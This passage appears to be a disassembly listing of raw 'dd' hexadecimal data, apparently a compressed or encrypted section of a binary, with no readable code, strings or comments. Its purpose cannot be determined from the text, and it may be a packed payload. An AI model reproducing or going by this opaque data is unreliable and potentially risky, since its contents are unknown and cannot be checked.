5779F00Bh, 0D98629Ch, 256FEB01h dd 2DE94B2Ch, 0EEEB27FFh, 0B6F6335Ah, 8296934Ch, 0DFF02887h dd 0B9F1F14Bh, 6312B3Bh, 943857D7h, 0E863B205h, 7DDD0905h dd 5874CA50h, 76E888BDh, 0C1215D42h, 0A42A7369h, 859CEB1Ah dd 7DDCC14Eh, 63E41F7h, 64E74F80h, 0CD1797ECh, 0EAC3B959h dd 91C9D049h, 7DD30535h, 1A782E9h, 7F572F66h, 2CFB4802h dd 62B6F9BFh, 36FCF229h, 0E17EFB59h, 71FC2EAFh, 585A59F6h dd 9FAB9E85h, 0A5B45F5Fh, 31644AA9h, 5D81769h, 22D1BFCh dd 0DAB09CC6h, 87442041h, 94A2C2h, 9C3D9035h, 0E8AC075Eh dd 39C8B82Ah, 364D3A68h, 1E655881h, 0A3C12A4Ch, 3165989Eh dd 0F74E16F4h, 18DEA3EBh, 884FEFE9h, 0CAA28307h, 0CC017BC0h dd 3CBB32C1h, 0BFF8DA29h, 0D70BDF40h, 0B961C3DEh, 66D51298h dd 39419C90h, 0EDAB16Fh, 8D284ABEh, 6FB94193h, 0F2C7DAF0h dd 0DED74844h, 9692EAD6h, 0F9CBAA30h, 6B54F90Ch, 255842C1h dd 683EDD14h, 0D0BFF58Ch, 772116FFh, 0F3020B1Ch, 3FFABF49h dd 38665614h, 66E25A36h, 0EA911263h, 0A2058A00h, 29716259h dd 2F577DF0h, 0A3A1058h, 7405F62h, 12B7D122h, 0FB64DFB2h dd 32977679h, 0C0095CAFh, 9285E45h, 8CE3810Fh, 0C11FE47Eh dd 4B360EEFh, 8E7F67BAh, 5B0658ECh, 68510958h, 8B5A6531h dd 4801AB40h, 1B0490CEh, 0B215DE66h, 13E98341h, 61A84CD5h dd 1430EB03h, 0A6E16D37h, 6CD02B25h, 175159DCh, 30862B1h dd 0C2E95001h, 2E5F433Bh, 899EAFCDh, 0E24CADFEh, 689C02Fh dd 3BB70753h, 33AAE780h, 0C7B194F7h, 4FB34F9h, 36204031h dd 0F0741F50h, 4EBFEED8h, 28A13997h, 4DE90DEEh, 0FD3810AAh dd 0E4208A7h, 0B9580BB0h, 0CC31C509h, 73110F12h, 2956F05h dd 5152F60Bh, 5C2EBE61h, 0E5DADF6h, 7906E92h, 0D7946CF8h dd 818A084h, 2F4FB91Ch, 2C5567BDh, 12B16E08h, 0FA80F961h dd 425E1F04h, 5EA9B907h, 648D2E79h, 250C0578h, 71877A5Ah dd 7E65C1F7h, 0EDD599BAh, 9BA22AF8h, 5019FAD6h, 28FCB40Ah dd 737EB5E3h, 4598336Fh, 0ACE85B30h, 8BAEA5ACh, 3BE984C9h dd 668F2D0h, 379B2F03h, 219067Ch, 0F83E290Fh, 0CD89A132h dd 0B9D73B22h, 89492D3Bh, 185FE7Dh, 2765552Ch, 0EDD22A29h dd 0AEEEC15Eh, 61819B2Fh, 0AF18E9C7h, 3A574CADh, 2C1A5FF3h dd 0D7222B75h, 16920A47h, 57EF3592h, 6675552Bh, 849D94D8h dd 0BC3F6768h, 44FDC1DAh, 36A429Ch, 45086B74h, 0F0E5809Ch dd 7661D461h, 0B17B0B0Ch, 0EB6860h, 1E2BB6F2h, 0C15BDA09h dd 6802E205h, 89F320F0h, 2F2AC701h, 0AFC20956h, 37D1BBh dd 6658E108h, 0C741B68h, 1B435C0h, 9CB514E9h, 0CA5A535Ch dd 6594A5A2h, 3D920105h, 4C68F264h, 0FCA17E5Bh, 425F30ACh dd 0C608A597h, 0AE128CA2h, 20539DDCh, 35402E12h, 5AD01288h dd 771EFC8Ah, 0E906DA94h, 9595454Fh, 68617BF9h, 844D53A2h dd 0DD54D941h, 4CEEE77Ah, 4BC34F0Ah, 738776BDh, 0D4DF5C66h dd 4506C300h, 0CB012E35h, 802BAA2h, 0BB8A8959h, 44CF0263h dd 607F7C76h, 0A0D00108h, 240305E1h, 2FD656A1h, 6A488841h dd 0AC94DA87h, 715BB7D2h, 0BFD1A5CDh, 671A16h, 5AC0FD82h dd 51E4C0BFh, 0E580E7B5h, 0C5FE371Dh, 0AC9BF54Eh, 0BF680ACDh dd 2CC832C8h, 0D10EDA5Ah, 0C9D80E70h, 0E9BE015Bh, 548FE3CCh dd 5278B7B5h, 0B60B52D1h, 86D6F61Ch, 5C06D9E8h, 1649D2E9h dd 5B53BE4Eh, 37889E5Fh, 0E92F2482h, 956C1EF5h, 729DDC16h dd 40294290h, 3612769Fh, 0DAD075BAh, 17F5200Ah, 0B026E911h dd 0C6C453AAh, 27AF98DAh, 30BBA43Fh, 2C65B7C6h, 13A97220h dd 523B98Eh, 0CBE5C14h, 0CF48A0BBh, 1E38D00Eh, 0F3F7C02Ah dd 13DA82E3h, 1F5FFB89h, 577F052Eh, 4202F163h, 7CCAC317h dd 0A7D8F161h, 0C9AB595Bh, 12421C7Dh, 0B7710568h, 69B88EAAh dd 0C11707D2h, 2D68171Ch, 0BCFC42D4h, 601DE970h, 2DAD0AE2h dd 0A3A6291h, 36C48B32h, 0D8E38641h, 0E80883CEh, 489576E3h dd 5285932h, 5F648207h, 0E90425CFh, 0AAF492BBh, 70B7A046h dd 97AF774Fh, 16764962h, 8AD7617Ah, 2C58994Ch, 25A85452h dd 0D72DC400h, 9095DF7Ah, 0C43A64BEh, 64AAD03Bh, 70AFFB53h dd 34EDE926h, 0FDEAB3C0h, 0B819A375h, 84824A36h, 63CCFF38h dd 6CC2BF6Ah, 2C408EF1h, 5EB5E936h, 1E264C7Ch, 38BAA089h dd 766B3C91h, 0F0FE5020h, 83C0D9B5h, 90A3277h, 932303E9h dd 0A9A88F5Bh, 70035ACBh, 143C75F2h, 0CF1E4B5Ch, 0D11588h dd 0FE0E482Dh, 0F05C011Ch, 25084240h, 0A355945Eh, 0AB3CC98Dh dd 4D99A32Eh, 7FD1026Ch, 0A52915A9h, 0A4F0481h, 6CCB015Bh dd 0F1E7F448h, 0C2E2F8F3h, 4CA704BDh, 701C0507h, 0C5313560h dd 0DB603EF8h, 8719C25Fh, 0C296E47h, 7DFA6382h, 921148D7h dd 5C1F202Ah, 7F4AF10Fh, 0A2F28F61h, 0E18208D9h, 8A3AE6C2h dd 856359B2h, 0DDFABEF7h, 3931EC57h, 3121ECB5h, 451D624Eh dd 79D12BCDh, 0A9070A34h, 3783415Dh, 5AB97BF8h, 54FFD29h dd 58850431h, 8CEE88E1h, 198A1C08h, 0A167C422h, 138B325Ah dd 67FF4294h, 67D3A25Dh, 8550F574h, 0E58CBC94h, 771B4456h dd 0DFF7053Eh, 16DA2BC0h, 86095F61h, 5BFC175Ch, 0E25A7825h dd 0D5CA77B6h, 1E13035Fh, 95EE4EABh, 0CA81AA25h, 7360096Fh dd 476E2DCDh, 819CF56h, 85F60409h, 0C3815187h, 81045EF2h dd 0E072D31Dh, 0A9BC292Ah, 0D028F600h, 0F901508Dh, 0FCD2DD38h dd 0F2E9F37Dh, 0B7526BB4h, 8820FFF9h, 66D55C41h, 5A082507h dd 0DEF4596Bh, 484591D5h, 1C70FA7h, 704E4DDh, 0B3BA46C4h dd 4C80965Fh, 4E796853h, 0D24CF854h, 6B40A40Eh, 4186007Dh dd 8381E6E9h, 0C0C4FEB8h, 0A06E430h, 0E629EC80h, 0ECD47BCCh dd 5E0CC207h, 447867E9h, 3952BF1Fh, 0D2297249h, 21970B53h dd 175E5385h, 0C2A008A0h, 8E17097Ch, 0E7014B3Ch, 69955A1Eh dd 24783424h, 0EB27B94h, 676C77ECh, 66121F18h, 3E1434CDh dd 854C760Bh, 58142071h, 7727265Ch, 86CD04D6h, 5F8B8E3Fh dd 0FB26B7F8h, 295A842Eh, 1617CBF7h, 4201D701h, 4E05314Ch dd 7F1F27Eh, 20246196h, 22D5F160h, 0AA6D589Ah, 46607801h dd 7FF9295Fh, 0CF2FBBCBh, 0CD02B6C2h, 19C165AEh, 850328EEh dd 0DAAE3C28h, 5BDC19C8h, 0C56B2912h, 0AE0B853Eh, 5F584232h dd 8CD69D78h, 279B55B8h, 7D5332F8h, 0B23F82F1h, 0D51A8F07h dd 0D241DBCAh, 80BE0588h dd 3209D671h, 4FB3B40h, 0E97F7A29h, 0B5FAE099h, 5FB63117h dd 84978E0Fh, 580BA21Fh, 7F7291FCh, 0CDBC391Ch, 48116885h dd 0E97130EBh, 12C0C521h, 0A743D8BFh, 0DCBB3117h, 6DFB290Bh dd 46567C6Ch, 0D2387B37h, 42314F82h, 993AEC26h, 41C56F93h dd 8DCA0757h, 76B3E90Eh, 7B56271Ch, 451757Ah, 0B02E0C4Dh dd 12CC12DFh, 9DFC485Eh, 838329D9h, 0C2651674h, 4BB2006Ch dd 0E95E4E87h, 0E180BDD0h, 6866097Ch, 49643206h, 0C10E0F7Dh dd 0AEE128B9h, 588ABFE9h, 249AE30h, 7FBF9756h, 72A1D0E8h dd 90967AA6h, 5DBA1A32h, 7C2DDB45h, 8F1C7AC5h, 4F239B5Dh dd 0BBB55DA8h, 0EBADA971h, 6DC04A02h, 0E22E7586h, 3D024C54h dd 56334443h, 0C7F75250h, 126CA6CEh, 955A2E0h, 6E7C1h dd 0D38BA3ABh, 0DE91314h, 640C585Ah, 214AF3FEh, 1447CDA0h dd 9505D65Eh, 4CD1E11h, 0AD1155BFh, 40C78F82h, 0BF9C8D94h dd 1027DD5Ah, 3B2A4886h, 0BD5580BEh, 0A104FF09h, 0B9BF66Eh dd 90D5D565h, 2F195E0Fh, 6AB65A7Fh, 572DE912h, 4F38F4Bh dd 0E2ABE7C4h, 719F187Fh, 80924129h, 78000D48h, 0F720B661h dd 176905D8h, 0B15EC0A9h, 80903F3Eh, 58884E75h, 66645221h dd 68AE8C54h, 98764B25h, 2539503Eh, 0F0501EDAh, 4FE0B902h dd 0D7315305h, 66E9C1C8h, 5F09352h, 37076887h, 46E96A42h dd 0FF59076Ah, 84B7B232h, 8E1431AFh, 5A394072h, 3B355B5Ah dd 8582A7BFh, 0D1AFF01Ch, 2AA37A38h, 4B7AC4F6h, 0FE111715h dd 0E7F69633h, 65660A0Eh, 23E00A13h, 0A8CEA551h, 6FF50B23h dd 0A6806D7Fh, 7CD63EAh, 6BE02D0Fh, 54F474C7h, 9B0968D2h dd 610E3E79h, 0FA497D6h, 4991CE9h, 0EF292754h, 4C08C710h dd 0F9A02D3Ah, 0C7288BFBh, 0D27090DDh, 0EFF9C051h, 618D153Bh dd 0D9033AB8h, 0E90EE264h, 0B2D14C33h, 5407E103h, 0F7E13740h dd 2DC06D2Dh, 5234C19Bh, 0A85EE826h, 0E882B4F1h, 3C94578Eh dd 0A294C604h, 0EB13E5FDh, 0E90937CEh, 0AC5A01A3h, 30E45F1Fh dd 1E0980E8h, 603FFD3Bh, 8B25F244h, 7432E7E8h, 1555403Eh dd 0D03E0473h, 0A9318430h, 18EAAA88h, 0C733B3Fh, 2D286F49h dd 809827Eh, 5014A45Dh, 0E7A5208Fh, 0B185B601h, 5AF12890h dd 0FE22A830h, 0C4B4DC5h, 5568F844h, 37F8B9C8h, 68B897B1h dd 73056852h, 5A306134h, 67023180h, 4E31EADFh, 81A1B9CAh dd 0FE375AF2h, 0F7619247h, 0E9C84668h, 0B950400Eh, 5C2DC300h dd 0D7C1811Eh, 6DF82E21h, 4EE0221h, 9F7E030h, 0C31A006Ah dd 4A7D35A7h, 263F524h, 60D75F08h, 82A542E4h, 55DAA25Ch dd 9926FD73h, 0CC4B42h, 108CCA81h, 9259783Dh, 0AEB796A4h dd 0F0B25201h, 3B90EA80h, 0A2DB96C2h, 44D830CFh, 436813AAh dd 8B3BE75Bh, 80ED7902h, 0E970C380h, 16BFDCCFh, 0A9D4B734h dd 5677A7C2h, 0D8C98EB0h, 683FB3E0h, 0DFA84523h, 0C5BD08D1h dd 0BD360935h, 0F80AEE5Fh, 81A654C0h, 48E303F1h, 0CA21686Dh dd 5ADD8FEAh, 4DC302BAh, 29256664h, 8837B58h, 4E5D1C00h dd 3DE97459h, 0C5BA569h, 0EB67F6CAh, 1392E7Ah, 97CB3E59h dd 0A34E305Ah, 9A4CE4F2h, 0C12F7E8Bh, 3A5F5941h, 0FB5B95A6h dd 0F5BBD829h, 115D4640h, 92C76C5h, 4BC03DAEh, 9836642Dh dd 336A0474h, 0AF4E5F1Dh, 5D98BD80h, 91416E1h, 0CFE001F7h dd 3F9205B4h, 32869E0h, 877A6751h, 64F42D7h, 8D4078CDh dd 50287201h, 26CBAA4Bh, 12971A38h, 6D3BE11Fh, 60E9E091h dd 0EF591C3h, 618947DFh, 8DF28FDh, 5A41D42Dh, 377D5ADFh dd 7B105359h, 3313E07Ch, 3D16D8EAh, 81CCEC4Bh, 7F5A04B4h dd 0AB5C0106h, 0C41E5A2h, 4C321E75h, 116304D3h, 22DDAABDh dd 5D9A6F55h, 6164C85Bh, 0BF03809Fh, 7DA06A36h, 2436BA10h dd 6F648EA2h, 0BC393205h, 71EAA2D1h, 335749A3h, 0D852BA3Dh dd 42C641E9h, 78E80548h, 316A32Dh, 2E006719h, 18DC249Dh dd 44E720E9h, 24EF8724h, 0BA022E10h, 337A4C91h, 0B0AAC477h dd 0C6C23FE4h, 0F10C4B7Ch, 84BE01B1h, 2B5F4887h, 2972FB64h dd 0CE0B5AC1h, 507CB800h, 352C280Dh, 0A16B0B78h, 9E782800h dd 29AC7409h, 13E5D7C5h, 0C4882D94h, 0DDAFC029h, 62BAED27h dd 0FCF7026Eh, 0DD6DD848h, 25509A11h, 11A02B4Dh, 961A1D10h dd 0AE38011h, 831D5753h, 0C3FE01F8h, 0F3B61097h, 577C6E2Eh dd 0B130D8C1h, 0FC368E42h, 18754C16h, 635D1003h, 4AF9044Bh dd 0BA807038h, 124D1BA1h, 87EEC158h, 7BE371B1h, 0C8480EAh dd 1297A17h, 66DEA0F3h, 5557801Ah, 64D16804h, 4DC00CFDh dd 145874F5h, 0E24D3F32h, 79084405h, 1244FF25h, 8A0AF1C9h dd 7E561EA6h, 16111DDAh, 0D00BFED0h, 731C82EFh, 3B8009AFh dd 0E010FEEh, 905C465Ch, 6EF05008h, 2AC5A12h, 8E8615AEh dd 70CBBEB5h, 941F3048h, 21F5765h, 0F43F9896h, 0DC037676h dd 0E36266Dh, 345C7EC8h, 0AFC7E9E5h, 5519B844h, 0FAD8B549h dd 50EE519Fh, 0C269A8E9h, 6D07F540h, 0B21A92FDh, 77D98802h dd 62CEEF87h, 905D5AF7h, 0B5C0AC05h, 560268F1h, 0C6678568h dd 5A5E2D6Dh, 0CADC9B99h, 37F10C48h, 19763517h, 1D1A9CE0h dd 4CED302Bh, 0BD24E2F9h, 0CF440E09h, 7E5575Dh, 6678601h dd 70E2E925h, 90B9067Ch, 5E1D4136h, 0F83D7F0Bh, 33447F7Eh dd 6EDC0C95h, 39203067h, 0E3DBC15Ah, 3164330Ah, 5996D3C8h dd 41079DC5h, 47E57D43h, 7885D0FEh, 1E406C7Bh, 4BFD7CCCh dd 50BDB0E7h, 69FFF9BFh, 80A23E57h, 25685304h, 5DE62E10h dd 30012BE3h, 264E07B9h, 6CD91931h, 0F2775D02h, 2047B054h dd 0B91DE1ECh, 64D36245h, 8A8F04BAh, 0C409E8D0h, 15B21E23h dd 27ED9986h, 0FDFB6195h, 8AE2A37Fh, 0AE00A850h, 0B83F6310h dd 0B00BD3B2h, 38961437h, 64570507h, 8A219F7h, 17BF00D9h dd 7160301Ah, 5B72587Ah, 0E5681578h, 3381EC5Ch, 7A87D6CDh dd 4858C586h, 0AC16C85Fh, 0D98DEEC8h, 0EBAD903Ah, 34F77088h dd 96F4734Ch, 0D3013704h, 0D9E8FCE9h, 0ED93CD4Bh, 0FA176A12h dd 0BB20FEF8h, 6612DC9Dh, 5AA16711h, 25AA2879h, 0B949250h dd 0A7D77E83h, 0A92019DAh, 7C53F892h, 12070952h, 15800C57h dd 0C463CCF2h, 8B0A2058h, 3DA55E06h, 0F47CAE16h, 0C500F36Ah dd 52409160h, 96DD82E9h, 73A8017h, 0D4350238h, 74967101h dd 412DE105h, 4AF5E9F0h, 631AAABh, 65730902h, 0D9E9540Bh dd 66AC8D21h, 0E94AED68h, 0DA413F56h, 4D463AE3h, 82162FE8h dd 90E54355h, 1CB151FAh, 97D9F6A9h, 0B906BAD1h, 67061BE9h dd 83382492h, 4D05E62Ah, 3F9501BFh, 0BBEE8BC1h, 2ADC0FAFh dd 90C1AF3Eh, 5BDEE9E1h, 1290F3ABh, 75FB035Ah, 728AF68h dd 0E9B849B9h, 0CC5C804Bh, 50BD2A49h, 0A5599CF3h, 363B8843h dd 6D571843h, 493B680Ch, 20107B63h, 0F6800EE6h, 0B9EE6027h dd 0F35AF528h, 5A207ECCh, 3823F6ECh, 2D44D238h, 45704295h dd 0FE6884EBh, 0A28EEE05h, 0FB12CF27h, 6C1F3240h, 0E9460A05h dd 0CBBED031h, 0FD9741D2h, 0C8D9CADDh, 0A5B95317h, 1A5DEB86h dd 8997E927h, 0A7369793h, 281D0561h, 0B00AA1A9h, 1ABB355h dd 5356B1F1h, 0FA3D6072h, 6C0D1402h, 76ED98E9h, 9E8F8B6Bh dd 873099D7h, 0C6EE20E2h, 787B2032h, 215AA49h, 455489BAh dd 1EE4DF3Ah, 421310Ah, 848ED7Ah, 17091C34h, 8CBA085Ah dd 34C9F6AEh, 0E859BDB7h, 9EEEDF6Bh, 97B2E926h, 80EB298Bh dd 0E42CFC64h, 0C2FEC018h dd 5D6C164Eh, 75E95309h, 9D147FACh, 0FF90F095h, 0DD34BBF9h dd 0D9255C52h, 164FB14Ch, 8B92BB01h, 4845DD14h, 0F475AFA0h dd 68180806h, 4C0A3D2Ch, 5800035Fh, 402FE712h, 0C231A02Dh dd 0EDE26E29h, 0D604AB04h, 87059CDCh, 0FD0BFEDDh, 401BD791h dd 98F50CE2h, 50069C24h, 5EB2F8FDh, 2F0D4007h, 5268866Ah dd 5E62F0B7h, 0EA1016AEh, 9D977061h, 1DC65B92h, 0BD4116FDh dd 4D3B2083h, 5F79AC80h, 0B464C274h, 2FDF1B41h, 0F7BE5600h dd 904CB81Dh, 617B1212h, 0C6E400B3h, 0CFC6EFDh, 0EA00BBB0h dd 0D13A7919h, 4EB1E9EEh, 0E3144386h, 9AA5444h, 4808BED1h dd 27BA177Bh, 0B785A2C2h, 0F725FA64h, 44F25B3h, 1E216C7h dd 0CBA2FEDDh, 0F688B776h, 5BFA2D1Ah, 0C21FCD50h, 84D2DB1Ch dd 2BD789C9h, 283FE4Bh, 26F754ADh, 9760BB07h, 5AD6E922h dd 413A4415h, 922C1DE2h, 5F253C10h, 295F1370h, 17CBBA95h dd 73D302D2h, 0A8F5529Fh, 1F24082Bh, 0A84C962h, 67680BD4h dd 8D4C185Dh, 2BC0828Eh, 0E7BE5B17h, 33FF5A97h, 70483301h dd 22772F17h, 0D712EFD6h, 9FCDB9Ch, 8BF11064h, 205389BAh dd 1D129D79h, 1C423888h, 23D46E9h, 0BB76EE29h, 29415851h dd 672F0189h, 600BA280h, 1EB2580Ch, 0CA1A5847h, 1677B10Fh dd 539DEEF8h, 7B07E16Ah, 41298FDCh, 3BF513FAh, 15DD0BAFh dd 0C3300294h, 89FF3CE9h, 16411EE1h, 44A89FE9h, 0BC43220Dh dd 557F1C7h, 9B250BBBh, 3667905Dh, 78C2E1A1h, 58D4BE0Dh dd 66025C2Dh, 0D80120EAh, 62078A05h, 5DCB2810h, 60975A46h dd 0FBF4AECh, 0F1D5B851h, 4CD60289h, 24192502h, 0E74EC098h dd 0ED81A8BEh, 41B71A9h, 0D7685A2Eh, 2937AA70h, 4D122FA5h dd 0F82D96D0h, 6754341Ah, 8507149Bh, 2C813014h, 4BF7A63Dh dd 30A497D3h, 60AA7FE9h, 9E5260B8h, 5EF20BD8h, 2CEC039Ah dd 0E23F0E29h, 208967C5h, 6082007Eh, 429D5AB4h, 0E092C1CFh dd 0F7877262h, 0B088D4E1h, 0F5AB77Eh, 62CE90A5h, 0DD624AACh dd 0F9BF91E5h, 5D0245BCh, 9B5A6F68h, 12EEC782h, 929DF5F3h dd 0D758ABE9h, 270BAE0Ch, 0DEA83609h, 12732408h, 6389ABD1h dd 0BA9AE0E4h, 7E6B0FB1h, 0AF492690h, 0D52F3DD4h, 0C07F3C32h dd 88434B58h, 0B88009FDh, 6B251EBFh, 4B6A9749h, 0C582ADF5h dd 5104D9D5h, 4AE33683h, 3C31F60Ch, 5F804ADDh, 4AEF4B87h dd 7BA1032h, 0CCCB805Eh, 0D9A20379h, 3645AE09h, 0D5698F1Ah dd 957D9487h, 5CD4073h, 31110B20h, 0E5462B7h, 4AD6A007h dd 15D7F8Dh, 197C3705h, 0F6F00117h, 400DE013h, 0F790BFFDh dd 729E413Dh, 9D386350h, 0BA93B8D9h, 702F13B1h, 0B12F9C6Fh dd 4F295F32h, 13BE7C91h, 11C9B659h, 0EA5F0A5Dh, 18757D75h dd 660649EAh, 34CF7B03h, 22927905h, 64B929C7h, 3E12F580h dd 0D99758FCh, 46D30166h, 65567AABh, 75C56BCBh, 41AEACC4h dd 7E6CF364h, 29F02E5Fh, 824101EFh, 0E9C62967h, 0E6B56BBCh dd 6C9620h, 0B90B3235h, 52864FE5h, 5CF13127h, 0C8E7C2A9h dd 8140FA55h, 0B9005297h, 0AD4F11C9h, 9759E08h, 0C701h dd 57F874CDh, 679402FAh, 0DB3A8D26h, 2D6B9BF1h, 398B2ADBh dd 20EEDC13h, 77151223h, 83264095h, 10BE1D57h, 1ED87B4Bh dd 90A3B916h, 0B44A75F9h, 0D5294813h, 0C082810h, 27DA42E9h dd 6947BC7h, 0E7C13E3Ah, 34091202h, 7FA18674h, 9BD15187h dd 42FE32F7h, 8E667553h, 3E9E019Dh, 567059ABh, 9D612DEFh dd 330FE2FCh, 1B2C0A0h, 6069E9F1h, 0E0F279B9h, 1A1F4597h dd 149D089h, 5D8412B7h, 0FCABBD23h, 0D5F61409h, 69CB0E66h dd 0E5B6D7E6h, 0B94FEE90h, 85C62BD7h, 0B1EF62Fh, 1326465h dd 0F273787Eh, 98096AD6h, 4B50C8F1h, 8107B059h, 2D1D1313h dd 80CD18EAh, 0C84882FEh, 0E6135E39h, 85EECABBh, 0A6F330EFh dd 46094C25h, 2D4F477Dh, 0F961CBA4h, 986518DFh, 3F72B032h dd 0FA12D30Ch, 4D9E4648h, 29202715h, 0C5B4CB6h, 780E5C48h dd 2DFED226h, 0D6716DDh, 88344D6h, 0A666609Bh, 41F5C55Ah dd 0A1C5A86Fh, 0F7C739Ah, 4313D3C0h, 0EF24C112h, 7025502h dd 571BF811h, 4719498Ch, 0D4AC409Fh, 0E9071C87h, 8E68A775h dd 0E1253331h, 0C6200F2Ch, 5A82E52Fh, 2ABAF0B1h, 145B6440h dd 0A3284F88h, 8B898786h, 0EA2DE577h, 0EE11F5C6h, 0F8E7A761h dd 0EDC12D56h, 0ACD98255h, 58B3EB51h, 0CD16F84Bh, 7A3FE4D4h dd 1CA15709h, 66DAB85Bh, 8012B75Eh, 0BBF5FA84h, 3206B4F2h dd 0D42B7A76h, 46A2718h, 304CCAF6h, 0C24EF428h, 38334687h dd 0F8190C36h, 92299212h, 0B4C9012Eh, 0F77B2B5Bh, 0E77630D9h dd 0D79DC104h, 0B281CB31h, 0A8C3C5EBh, 0B7DA0152h, 0B0DD329Ah dd 55E9FADFh, 0A43ED4D4h, 23275F57h, 97125F61h, 45F616DDh dd 972A60B1h, 0AD13FE97h, 9DB7365Dh, 65C0ABDEh, 39157E12h dd 13056852h, 0FB5A57AFh, 770B36A0h, 0ED20F751h, 535940D7h dd 0EDF2545Bh, 0A1B850C7h, 6A10B07Dh, 5EF7D8A0h, 46850BDEh dd 0D50A9E50h, 90F10B07h, 9A11E602h, 7EA555Dh, 0B6D080Ah dd 954BB10h, 76ADB24Ah, 0C874E939h, 655A4EC0h, 0BCD9C40h dd 0EF76F701h, 0EC7E1A59h, 94D3C564h, 7BE37DFEh, 7BAB5644h dd 9072E902h, 3EC3ACA3h, 945BA8F9h, 2708EBC7h, 38FD7E5Eh dd 39681774h, 0CE8C3126h, 0AFB83AC2h, 0FFF4AFA3h, 0E66E49CDh dd 0CA8C9613h, 0EA5E32E9h, 65F9EE51h, 1309E601h, 0BD442C12h dd 57A96BC1h, 8740D347h, 8201D89Fh, 5D4A9540h, 42F30878h dd 88FC1CEh, 0D52C8CA5h, 86DCFED8h, 30F541B5h, 0FB0B35E4h dd 222AF060h, 7D39E3DDh, 4C0F0D18h, 0F006552Fh, 2EE92768h dd 53E14F68h, 0EF004FB0h, 0BB1AF43Ch, 4A0BC315h, 2CA3A9E5h dd 0E10815D9h, 0A2680425h, 0E731FF35h, 5903E2F5h, 2E169BB1h dd 0BE25DBA6h, 0DA922D74h, 31078A01h, 0BF05190Dh, 5F676255h dd 0FB4F5D9Ah, 9F208529h, 0E2460409h, 0A8F9E96Eh, 2C583B7Dh dd 7FAD7070h, 0BA5D5684h, 4E7878A2h, 51A503A8h, 0CE90F988h dd 0BB246859h, 5E6B4D24h, 58C5061Fh, 0E9169F5Ah, 3BF68A07h dd 69CC2C7Ah, 0C6E06CF3h, 4426C25h, 54BAC375h, 0F44A4D65h dd 8226E971h, 80A4C0DEh, 0CF4C0A00h, 0AE28125h, 380923CBh dd 5611038Fh, 560F10D8h, 0A56D7AD5h, 60B896E9h, 8AEC800Fh dd 0ABE64E05h, 962761A3h, 0EE594305h, 798584E6h, 0DC0EB521h dd 0D9BDF843h, 2B688E22h, 0E7782B58h, 2DB2DC82h, 0A08994F5h dd 0BD487FB1h, 9273DFDEh, 0CA290294h, 4794BE1h, 54A346F0h dd 2468F26Dh, 625B07D2h, 0D287DA88h, 0A8CC54D1h, 68B65F89h dd 0E5E5076Fh, 28798258h, 0E905C8FBh, 0B540D07Eh, 0C38029B3h dd 8A6197A7h, 2F2231F3h, 88D09791h, 0D9F9F5C2h, 0D459CB4Fh dd 0EAD62F2Eh, 1DE91454h, 0B6050EE1h, 8013FE16h, 0A15273A5h dd 1E1644Fh, 382EA339h, 96F740F6h, 3C2FF415h, 5E6C6401h dd 0EB6E162Bh, 0FA4FD88Fh, 0B15C2328h, 9BCA09ECh, 0D81D9877h dd 2F828293h, 1F427163h, 7F26C05Fh, 0BAAD25CFh, 0A0CD7068h dd 0C16CB89Fh, 0C906B658h, 68851E74h, 0A4051747h, 24AFE8DCh dd 19D5FE97h, 55EB8501h, 30830A9Ch, 0F3040B8h, 4E6AE7E0h dd 512F0413h, 77158D01h, 917A133Fh, 7EAB1C03h, 0EF937DB3h dd 4BE9C130h, 30D9BFE3h, 79B89E44h, 6C21BE5Ah, 0CA62EB3Ah dd 787DA905h, 88D4EF2Eh, 2BBC0816h, 6A05EAB0h, 0B472D624h dd 3AD4F344h, 0D83B4B70h dd 0EEDEC10Ah, 3E06B02Bh, 0C7323ACh, 586B604Fh, 2F13D80Ch dd 44FBA797h, 9CB7D0Eh, 240D621h, 12E82338h, 9565E055h dd 0EF2D80E4h, 1509211Eh, 463C5889h, 64830F31h, 0D9AB4F44h dd 0FB5EF9A5h, 0D0C1AB83h, 54FB6806h, 5E588F61h, 5EFBF295h dd 6B5A01FAh, 2CD2AA8Fh, 1DEE5F47h, 92D6ED96h, 0E609F6C8h dd 71ADA2Dh, 0B51B5AE5h, 0BEED603Eh, 2661A027h, 3541E0Ch dd 0A5A0C0BAh, 8C93DE97h, 0B112EA1Fh, 798DF70h, 1775C020h dd 1357565Fh, 0F350B47Ah, 0E1F8B40Bh, 68D38114h, 716673D8h dd 1272BE4Ah, 0D2AD85F4h, 280FB6F8h, 0D90B1CE2h, 2C08B008h dd 94172626h, 0BD17FA80h, 10D9F38Ah, 680BC081h, 101A1D9Ah dd 53B4C1DDh, 8DD6D3CDh, 4BA0BCD7h, 0FCCC2F6Fh, 424F8072h dd 18F52AFh, 0F25036FAh, 0E8E2EC66h, 0F75B16CBh, 730342E5h dd 2F625947h, 2CD45160h, 5EF07847h, 4E875865h, 2F77AA14h dd 0F34478B5h, 5A0BD590h, 0C6BE80DDh, 1D773528h, 532921BBh dd 2804BBBDh, 1E137CC8h, 0A399D7E3h, 5651256Ch, 0D5686115h dd 92E36B1Ch, 7FFCF192h, 70842Dh, 9AF84875h, 0A2C817A4h dd 0E59C1757h, 0EFC0C8FDh, 7DD744E2h, 0F74E44B8h, 0F93520FBh dd 75489128h, 0EF83B1DAh, 0D3E3EC6Fh, 7DE5501Dh, 6E5FBA99h dd 4E7395A9h, 0DA3E313Ah, 49287ECAh, 0D927D0E6h, 0F5EFEE07h dd 8705B03Bh, 5E518F7Eh, 2ED149F0h, 0FD563E82h, 8474A342h dd 0B37F1EBh, 99C6A407h, 8DBC367Ah, 778CA862h, 0C5B49C18h dd 58E12805h, 5809CB88h, 63822F1Eh, 84BAF280h, 939B6BAh dd 96A6E99Dh, 0D62D0C5Ch, 89E0A21Ah, 32FFA54Bh, 0CE605292h dd 5F482334h, 1F85041Ah, 9AE0E5Eh, 29AFCEA6h, 59832DC0h dd 0FEEA2510h, 57C83117h, 74192A8h, 12138E04h, 73E0F287h dd 2E76D835h, 0EB515Dh, 62BD131Fh, 0FE4067E9h, 54270B2Dh dd 0EF850DD8h, 0E528EE91h, 0B1BD5483h, 902B0CBh, 4E7E18C0h dd 123DC6F7h, 0AAC8BF0Fh, 35E98AC8h, 84EFA777h, 3B3AA06h dd 0E9092548h, 0F1DA6D3Fh, 28EC0820h, 90B2CAFEh, 0DCF42084h dd 2D40D8B7h, 0F2E8BA09h, 557B66C5h, 0CD7F4376h, 19A05113h dd 280A8B01h, 877B1FB5h, 0C30B2243h, 0C232D5CCh, 0D3D1F4h dd 37AC292Dh, 69EA89Ch, 8C2651E7h, 0DD8572F6h, 21455B5Fh dd 77BEA571h, 7AF9B221h, 182DB54h, 70408E05h, 